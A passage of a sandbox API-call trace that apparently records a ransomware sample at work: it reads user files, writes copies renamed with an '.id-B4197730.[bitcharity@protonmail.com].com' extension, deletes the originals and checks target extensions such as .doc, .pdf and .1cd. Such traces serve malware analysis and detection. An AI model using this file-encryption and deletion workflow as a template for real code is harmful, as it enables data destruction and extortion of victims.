lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0130.084] WriteFile (in: hFile=0x1034, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xea, lpOverlapped=0x0) returned 1 [0130.084] SetEndOfFile (hFile=0x1034) returned 1 [0130.084] CloseHandle (hObject=0x1034) returned 1 [0130.086] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.086] SetEndOfFile (hFile=0x103c) returned 1 [0130.087] CloseHandle (hObject=0x103c) returned 1 [0130.087] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x26) returned 1 [0130.087] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 1 [0130.088] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0130.088] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0130.088] lstrlenW (lpString=".doc") returned 4 [0130.088] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0130.088] lstrlenW (lpString=".docx") returned 5 [0130.088] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0130.088] lstrlenW (lpString=".pdf") returned 4 [0130.088] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0130.088] lstrlenW (lpString=".xls") returned 4 [0130.088] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0130.088] lstrlenW (lpString=".xlsx") returned 5 [0130.088] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0130.088] lstrlenW (lpString=".ppt") returned 4 [0130.088] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0130.088] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0130.088] lstrlenW (lpString=".zip") returned 4 [0130.088] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0130.088] lstrlenW (lpString=".rar") returned 4 [0130.088] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0130.088] lstrlenW (lpString=".bz2") returned 4 [0130.088] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0130.088] lstrlenW (lpString=".7z") returned 3 [0130.088] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0130.088] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0130.089] lstrlenW (lpString=".dbf") returned 4 [0130.089] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0130.089] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0130.089] lstrlenW (lpString=".1cd") returned 4 [0130.089] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0130.089] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0130.089] lstrlenW (lpString=".jpg") returned 4 [0130.089] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0130.089] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0130.089] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0130.089] lstrlenW (lpString=".doc") returned 4 [0130.089] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0130.089] lstrlenW (lpString=".docx") returned 5 [0130.089] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0130.089] lstrlenW (lpString=".pdf") returned 4 [0130.089] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0130.089] lstrlenW (lpString=".xls") returned 4 [0130.089] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0130.089] lstrlenW (lpString=".xlsx") returned 5 [0130.089] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0130.089] lstrlenW (lpString=".ppt") returned 4 [0130.089] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0130.089] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0130.089] lstrlenW (lpString=".zip") returned 4 [0130.089] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0130.089] lstrlenW (lpString=".rar") returned 4 [0130.089] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0130.090] lstrlenW (lpString=".bz2") returned 4 [0130.090] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0130.090] lstrlenW (lpString=".7z") returned 3 [0130.090] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0130.090] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0130.090] lstrlenW (lpString=".dbf") returned 4 [0130.090] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0130.090] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0130.090] lstrlenW (lpString=".1cd") returned 4 [0130.090] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0130.090] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0130.090] lstrlenW (lpString=".jpg") returned 4 [0130.090] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0130.090] Sleep (dwMilliseconds=0x64) [0130.232] Sleep (dwMilliseconds=0x64) [0130.405] Sleep (dwMilliseconds=0x64) [0130.532] Sleep (dwMilliseconds=0x64) [0130.650] Sleep (dwMilliseconds=0x64) [0130.805] Sleep (dwMilliseconds=0x64) [0130.918] Sleep (dwMilliseconds=0x64) [0131.272] lstrcmpiW (lpString1=".rtf", lpString2=".com") returned 1 [0131.272] lstrlenW (lpString="eula.rtf") returned 8 [0131.272] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0131.280] GetFileSizeEx (in: hFile=0x108c, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=7567) returned 1 [0131.280] CloseHandle (hObject=0x108c) returned 1 [0131.280] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf")) returned 0x80 [0131.280] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0131.280] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0131.280] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.280] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.280] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1090 [0131.280] GetLastError () returned 0x0 [0131.280] ReadFile (in: hFile=0x108c, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x1d8f, lpOverlapped=0x0) returned 1 [0131.405] WriteFile (in: hFile=0x1090, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x1d90, lpOverlapped=0x0) returned 1 [0131.406] ReadFile (in: hFile=0x108c, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0131.406] WriteFile (in: hFile=0x1090, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xe4, lpOverlapped=0x0) returned 1 [0131.407] SetEndOfFile (hFile=0x1090) returned 1 [0131.407] CloseHandle (hObject=0x1090) returned 1 [0131.408] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.408] SetEndOfFile (hFile=0x108c) returned 1 [0131.409] CloseHandle (hObject=0x108c) returned 1 [0131.409] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0131.409] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf")) returned 1 [0131.410] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0131.410] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0131.410] lstrlenW (lpString=".doc") returned 4 [0131.410] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0131.410] lstrlenW (lpString=".docx") returned 5 [0131.410] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0131.410] lstrlenW (lpString=".pdf") returned 4 [0131.410] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0131.410] lstrlenW (lpString=".xls") returned 4 [0131.410] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0131.410] lstrlenW (lpString=".xlsx") returned 5 [0131.410] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0131.410] lstrlenW (lpString=".ppt") returned 4 [0131.410] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0131.410] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0131.410] lstrlenW (lpString=".zip") returned 4 [0131.410] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0131.411] lstrlenW (lpString=".rar") returned 4 [0131.411] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0131.411] lstrlenW (lpString=".bz2") returned 4 [0131.411] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0131.411] lstrlenW (lpString=".7z") returned 3 [0131.411] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0131.411] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0131.411] lstrlenW (lpString=".dbf") returned 4 [0131.411] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0131.411] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0131.411] lstrlenW (lpString=".1cd") returned 4 [0131.411] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0131.411] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0131.411] lstrlenW (lpString=".jpg") returned 4 [0131.411] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0131.412] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0131.412] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0131.412] lstrlenW (lpString=".doc") returned 4 [0131.412] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0131.412] lstrlenW (lpString=".docx") returned 5 [0131.412] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0131.412] lstrlenW (lpString=".pdf") returned 4 [0131.412] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0131.412] lstrlenW (lpString=".xls") returned 4 [0131.412] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0131.412] lstrlenW (lpString=".xlsx") returned 5 [0131.412] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0131.412] lstrlenW (lpString=".ppt") returned 4 [0131.412] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0131.412] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0131.412] lstrlenW (lpString=".zip") returned 4 [0131.412] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0131.412] lstrlenW (lpString=".rar") returned 4 [0131.412] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0131.412] lstrlenW (lpString=".bz2") returned 4 [0131.412] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0131.412] lstrlenW (lpString=".7z") returned 3 [0131.412] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0131.412] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0131.412] lstrlenW (lpString=".dbf") returned 4 [0131.412] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0131.412] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0131.412] lstrlenW (lpString=".1cd") returned 4 [0131.412] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0131.412] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0131.413] lstrlenW (lpString=".jpg") returned 4 [0131.413] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0131.413] lstrcmpiW (lpString1=".rtf", lpString2=".com") returned 1 [0131.413] lstrlenW (lpString="eula.rtf") returned 8 [0131.413] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0131.458] GetFileSizeEx (in: hFile=0x108c, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=3726) returned 1 [0131.458] CloseHandle (hObject=0x108c) returned 1 [0131.458] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf")) returned 0x80 [0131.458] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0131.458] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0131.458] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.459] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.459] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1090 [0131.459] GetLastError () returned 0x0 [0131.459] ReadFile (in: hFile=0x108c, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0xe8e, lpOverlapped=0x0) returned 1 [0131.967] WriteFile (in: hFile=0x1090, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xe90, lpOverlapped=0x0) returned 1 [0131.968] ReadFile (in: hFile=0x108c, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0131.968] WriteFile (in: hFile=0x1090, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xe4, lpOverlapped=0x0) returned 1 [0131.968] SetEndOfFile (hFile=0x1090) returned 1 [0131.968] CloseHandle (hObject=0x1090) returned 1 [0131.969] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.969] SetEndOfFile (hFile=0x108c) returned 1 [0131.970] CloseHandle (hObject=0x108c) returned 1 [0131.970] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0131.970] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf")) returned 1 [0131.971] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0131.971] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0131.971] lstrlenW (lpString=".doc") returned 4 [0131.971] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0131.971] lstrlenW (lpString=".docx") returned 5 [0131.971] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0131.971] lstrlenW (lpString=".pdf") returned 4 [0131.971] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0131.971] lstrlenW (lpString=".xls") returned 4 [0131.971] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0131.971] lstrlenW (lpString=".xlsx") returned 5 [0131.971] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0131.971] lstrlenW (lpString=".ppt") returned 4 [0131.971] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0131.971] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0131.971] lstrlenW (lpString=".zip") returned 4 [0131.971] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0131.971] lstrlenW (lpString=".rar") returned 4 [0131.971] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0131.971] lstrlenW (lpString=".bz2") returned 4 [0131.971] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0131.971] lstrlenW (lpString=".7z") returned 3 [0131.971] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0131.971] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0131.971] lstrlenW (lpString=".dbf") returned 4 [0131.972] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0131.972] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0131.972] lstrlenW (lpString=".1cd") returned 4 [0131.972] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0131.972] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0131.972] lstrlenW (lpString=".jpg") returned 4 [0131.972] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0131.972] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0131.972] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0131.972] lstrlenW (lpString=".doc") returned 4 [0131.972] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0131.972] lstrlenW (lpString=".docx") returned 5 [0131.972] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0131.972] lstrlenW (lpString=".pdf") returned 4 [0131.972] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0131.972] lstrlenW (lpString=".xls") returned 4 [0131.972] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0131.972] lstrlenW (lpString=".xlsx") returned 5 [0131.972] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0131.972] lstrlenW (lpString=".ppt") returned 4 [0131.972] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0131.972] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0131.972] lstrlenW (lpString=".zip") returned 4 [0131.972] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0131.972] lstrlenW (lpString=".rar") returned 4 [0131.972] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0131.972] lstrlenW (lpString=".bz2") returned 4 [0131.973] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0131.973] lstrlenW (lpString=".7z") returned 3 [0131.973] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0131.973] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0131.973] lstrlenW (lpString=".dbf") returned 4 [0131.973] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0131.973] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0131.973] lstrlenW (lpString=".1cd") returned 4 [0131.973] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0131.973] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0131.973] lstrlenW (lpString=".jpg") returned 4 [0131.973] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0131.973] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0131.973] lstrlenW (lpString="LocalizedData.xml") returned 17 [0131.973] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0131.973] GetFileSizeEx (in: hFile=0x108c, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=77748) returned 1 [0131.973] CloseHandle (hObject=0x108c) returned 1 [0131.974] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 0x80 [0131.974] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0131.974] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0131.974] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.974] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.974] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1090 [0131.974] GetLastError () returned 0x0 [0131.974] ReadFile (in: hFile=0x108c, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x12fb4, lpOverlapped=0x0) returned 1 [0132.518] WriteFile (in: hFile=0x1090, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x12fc0, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x12fc0, lpOverlapped=0x0) returned 1 [0132.521] ReadFile (in: hFile=0x108c, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0132.521] WriteFile (in: hFile=0x1090, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xf6, lpOverlapped=0x0) returned 1 [0132.521] SetEndOfFile (hFile=0x1090) returned 1 [0132.521] CloseHandle (hObject=0x1090) returned 1 [0132.523] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.523] SetEndOfFile (hFile=0x108c) returned 1 [0132.524] CloseHandle (hObject=0x108c) returned 1 [0132.524] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0132.524] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 1 [0132.525] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0132.525] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0132.525] lstrlenW (lpString=".doc") returned 4 [0132.525] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0132.525] lstrlenW (lpString=".docx") returned 5 [0132.525] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0132.525] lstrlenW (lpString=".pdf") returned 4 [0132.525] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0132.525] lstrlenW (lpString=".xls") returned 4 [0132.525] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0132.525] lstrlenW (lpString=".xlsx") returned 5 [0132.525] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0132.525] lstrlenW (lpString=".ppt") returned 4 [0132.525] 